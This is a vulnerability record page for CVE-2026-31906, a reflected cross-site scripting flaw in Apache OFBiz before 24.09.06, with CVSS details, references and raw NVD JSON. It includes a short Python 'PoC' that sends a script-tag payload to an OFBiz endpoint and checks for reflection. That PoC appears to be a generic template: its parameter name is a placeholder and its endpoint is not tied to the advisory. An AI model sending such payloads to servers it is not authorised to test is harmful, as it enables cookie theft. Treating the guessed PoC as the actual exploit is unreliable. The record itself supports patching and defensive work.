CVE-2026-31906

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE

Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Example for Reflected XSS in Apache OFBiz
# Attacker crafts a malicious URL containing a JavaScript payload.

import requests

target_url = "http://target-ofbiz-server:8080/control/programExport"

# Injection point often exists in parameters like 'userName' or specific export parameters
payload = "<script>alert(document.cookie)</script>"

params = {
    "paramName": payload
}

try:
    response = requests.get(target_url, params=params, timeout=5)
    if payload in response.text:
        print("[+] Vulnerability confirmed! Payload reflected in response.")
    else:
        print("[-] Payload not reflected, might be patched or parameter incorrect.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31906
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31906
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31906/
[4] VulDB https://vuldb.com/cve/CVE-2026-31906
[5] https://lists.apache.org/thread/1fblqdo89d3ps8kgtcnkcq8sh7gwkcpn
[6] http://www.openwall.com/lists/oss-security/2026/05/19/22

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31906", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:23.777", "lastModified": "2026-05-19T19:16:48.000", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/1fblqdo89d3ps8kgtcnkcq8sh7gwkcpn", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/22", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}